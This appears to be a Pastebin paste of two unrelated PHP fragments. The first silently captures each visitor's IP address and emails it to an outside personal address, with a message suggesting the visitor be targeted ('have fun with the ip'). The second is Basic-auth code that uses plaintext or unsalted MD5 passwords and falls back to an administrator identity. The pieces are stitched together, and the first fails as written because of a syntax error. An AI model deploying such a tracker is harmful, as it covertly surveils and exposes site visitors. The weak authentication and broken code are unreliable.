Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
- {
- $ip=$_SERVER['HTTP_CLIENT_IP'];
- }
- elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy
- {
- $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
- }
- else
- {
- $ip=$_SERVER['REMOTE_ADDR'];
- }
- $to = "anonphunt@gmail.com";
- $subject = "Accesser.";
- $body = "This person accessed wxangels.com have fun with the ip:";
- if (mail($to, $subject, $body $ip)) {
- echo("<p>Message successfully sent!</p>");
- } else {
- echo("<p>Message delivery failed...</p>");
- }
- ?>
- // Authentication, the $auth array contains users and passwords
- if ( !empty( $auth ) )
- {
- $user = $_SERVER[ 'PHP_AUTH_USER' ]; // Get the username that the client filled in
- $pass = $_SERVER[ 'PHP_AUTH_PW' ]; // Get the password that the client filled in
- $authorised = false; // Client isn't authorised yet
- foreach( $auth as $item ) // Check each user
- {
- if ( $item[ 0 ] == $user && $item[ 1 ] == $pass && !preg_match( "/^[0-9a-f]{32}$/si", $item[ 1 ] ) ) // A password can be plain if it isn't a md5-hash
- {
- $authorised = true;
- $auth_user = $user;
- }
- elseif ( $item[ 0 ] == $user && $item[ 1 ] == md5( $pass ) ) // Check md5 password
- {
- $authorised = true;
- $auth_user = $user;
- }
- }
- if ( $authorised === false ) // If authentication failed, then the client must fill in the username and password
- {
- header( 'WWW-Authenticate: Basic realm="' . $auth_msg . '"' ); // Request user/password
- die( $auth_failed_msg );// Show message when not loggedin
- }
- }
- else
- {
- $auth_user = 'Adminstrator'; // If there is no user, then the user is called 'Administrator'
- }
Add Comment
Please, Sign In to add comment